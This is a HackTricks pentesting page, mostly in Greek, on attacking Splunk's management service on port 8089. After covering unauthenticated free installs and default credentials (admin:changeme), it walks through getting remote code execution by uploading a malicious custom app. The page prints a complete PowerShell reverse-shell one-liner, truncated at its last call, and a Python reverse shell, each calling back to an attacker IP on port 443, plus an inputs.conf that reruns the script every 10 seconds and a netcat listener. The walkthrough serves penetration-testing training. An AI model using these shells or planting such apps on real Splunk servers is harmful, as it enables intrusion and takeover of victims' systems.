# 8089 - Pentesting Splunkd
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## **Basic Information**
Το Splunk είναι ένα **εργαλείο ανάλυσης καταγραφών** που παίζει κρίσιμο ρόλο στη **συλλογή, ανάλυση και οπτικοποίηση δεδομένων**. Ενώ ο αρχικός του σκοπός δεν ήταν να λειτουργεί ως εργαλείο **SIEM (Διαχείριση Πληροφοριών και Συμβάντων Ασφαλείας)**, έχει αποκτήσει δημοτικότητα στον τομέα της **παρακολούθησης ασφάλειας** και της **επιχειρηματικής ανάλυσης**.
Οι αναπτύξεις του Splunk χρησιμοποιούνται συχνά για την αποθήκευση **ευαίσθητων δεδομένων** και μπορούν να χρησιμεύσουν ως **πολύτιμη πηγή πληροφοριών** για πιθανούς επιτιθέμενους αν καταφέρουν να παραβιάσουν το σύστημα. **Προεπιλεγμένη θύρα:** 8089
```
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
```
{% hint style="info" %}
Ο **διακομιστής ιστού Splunk εκτελείται από προεπιλογή στη θύρα 8000**.
{% endhint %}
## Enumeration
### Free Version
Η δοκιμή του Splunk Enterprise μετατρέπεται σε **δωρεάν έκδοση μετά από 60 ημέρες**, η οποία **δεν απαιτεί αυθεντικοποίηση**. Δεν είναι ασυνήθιστο για τους διαχειριστές συστημάτων να εγκαθιστούν μια δοκιμή του Splunk για να το δοκιμάσουν, η οποία **στη συνέχεια ξεχνιέται**. Αυτό θα μετατραπεί αυτόματα στη δωρεάν έκδοση που δεν έχει καμία μορφή αυθεντικοποίησης, εισάγοντας μια τρύπα ασφαλείας στο περιβάλλον. Ορισμένες οργανώσεις μπορεί να επιλέξουν τη δωρεάν έκδοση λόγω περιορισμών προϋπολογισμού, χωρίς να κατανοούν πλήρως τις συνέπειες της έλλειψης διαχείρισης χρηστών/ρόλων.
### Default Credentials
Σε παλαιότερες εκδόσεις του Splunk, τα προεπιλεγμένα διαπιστευτήρια είναι **`admin:changeme`**, τα οποία εμφανίζονται βολικά στη σελίδα σύνδεσης.\
Ωστόσο, **η τελευταία έκδοση του Splunk** ορίζει **διαπιστευτήρια** **κατά τη διαδικασία εγκατάστασης**. Εάν τα προεπιλεγμένα διαπιστευτήρια δεν λειτουργούν, αξίζει να ελέγξετε για κοινές αδύναμες κωδικούς πρόσβασης όπως `admin`, `Welcome`, `Welcome1`, `Password123`, κ.λπ.
### Obtain Information
Αφού συνδεθούμε στο Splunk, μπορούμε να **περιηγηθούμε σε δεδομένα,** να εκτελέσουμε **αναφορές**, να δημιουργήσουμε **πίνακες ελέγχου**, **να εγκαταστήσουμε εφαρμογές** από τη βιβλιοθήκη Splunkbase και να εγκαταστήσουμε προσαρμοσμένες εφαρμογές.\
Μπορείτε επίσης να εκτελέσετε κώδικα: Το Splunk έχει πολλούς τρόπους **εκτέλεσης κώδικα**, όπως εφαρμογές Django server-side, REST endpoints, scripted inputs και alerting scripts. Μια κοινή μέθοδος για την απόκτηση απομακρυσμένης εκτέλεσης κώδικα σε έναν διακομιστή Splunk είναι μέσω της χρήσης ενός scripted input.
Επιπλέον, καθώς το Splunk μπορεί να εγκατασταθεί σε Windows ή Linux hosts, μπορούν να δημιουργηθούν scripted inputs για να εκτελούν Bash, PowerShell ή Batch scripts.
### Shodan
* `Splunk build`
## RCE
### Create Custom Application
Μια προσαρμοσμένη εφαρμογή μπορεί να εκτελεί **Python, Batch, Bash ή PowerShell scripts**.\
Σημειώστε ότι **το Splunk έρχεται με εγκατεστημένο Python**, οπότε ακόμη και σε **συστήματα Windows** θα μπορείτε να εκτελείτε κώδικα python.
Μπορείτε να χρησιμοποιήσετε [**αυτό**](https://github.com/0xjpuff/reverse\_shell\_splunk) το πακέτο Splunk για να μας βοηθήσει. Ο **φάκελος `bin`** σε αυτό το repo έχει παραδείγματα για [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) και [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Ας προχωρήσουμε βήμα-βήμα.
Για να το επιτύχουμε αυτό, πρέπει πρώτα να δημιουργήσουμε μια προσαρμοσμένη εφαρμογή Splunk χρησιμοποιώντας την παρακάτω δομή φακέλων:
```shell-session
tree splunk_shell/
splunk_shell/
├── bin
└── default
```
Ο **`bin`** φάκελος θα περιέχει οποιαδήποτε **σενάρια που σκοπεύουμε να εκτελέσουμε** (σε αυτή την περίπτωση, ένα **PowerShell** reverse shell), και ο προεπιλεγμένος φάκελος θα έχει το αρχείο `inputs.conf` μας. Το reverse shell μας θα είναι ένα **PowerShell one-liner:**
```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
```
Το αρχείο [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) λέει στο Splunk **ποιο σενάριο να εκτελέσει** και οποιεσδήποτε άλλες συνθήκες. Εδώ ρυθμίζουμε την εφαρμογή ως ενεργοποιημένη και λέμε στο Splunk να εκτελεί το σενάριο κάθε 10 δευτερόλεπτα. Η διάρκεια είναι πάντα σε δευτερόλεπτα, και η είσοδος (σενάριο) θα εκτελείται μόνο αν αυτή η ρύθμιση είναι παρούσα.
```shell-session
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```
Χρειαζόμαστε το `.bat` αρχείο, το οποίο θα εκτελείται όταν αναπτυχθεί η εφαρμογή και θα εκτελεί την PowerShell one-liner.
Το επόμενο βήμα είναι να επιλέξουμε `Install app from file` και να ανεβάσουμε την εφαρμογή.
Πριν ανεβάσουμε την κακόβουλη προσαρμοσμένη εφαρμογή, ας ξεκινήσουμε έναν listener χρησιμοποιώντας το Netcat ή το [socat](https://linux.die.net/man/1/socat).
```shell-session
sudo nc -lnvp 443
listening on [any] 443 ...
```
Στη σελίδα `Upload app`, κάντε κλικ στο browse, επιλέξτε το tarball που δημιουργήσαμε νωρίτερα και κάντε κλικ στο `Upload`. Μόλις **ανεβάσουμε την εφαρμογή**, θα **λάβουμε ένα reverse shell** καθώς η κατάσταση της εφαρμογής θα αλλάξει αυτόματα σε `Enabled`.
#### Linux
Αν ασχολούμασταν με έναν **Linux host**, θα έπρεπε να **επεξεργαστούμε το σενάριο Python `rev.py`** πριν δημιουργήσουμε το tarball και ανεβάσουμε την προσαρμοσμένη κακόβουλη εφαρμογή. Η υπόλοιπη διαδικασία θα ήταν η ίδια, και θα αποκτούσαμε μια σύνδεση reverse shell στον ακροατή Netcat μας και θα ξεκινούσαμε.
```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```
### RCE & Privilege Escalation
Στην παρακάτω σελίδα μπορείτε να βρείτε μια εξήγηση για το πώς αυτή η υπηρεσία μπορεί να καταχραστεί για να κλιμακώσει τα δικαιώματα και να αποκτήσει επιμονή:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
{% endcontent-ref %}
## References
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}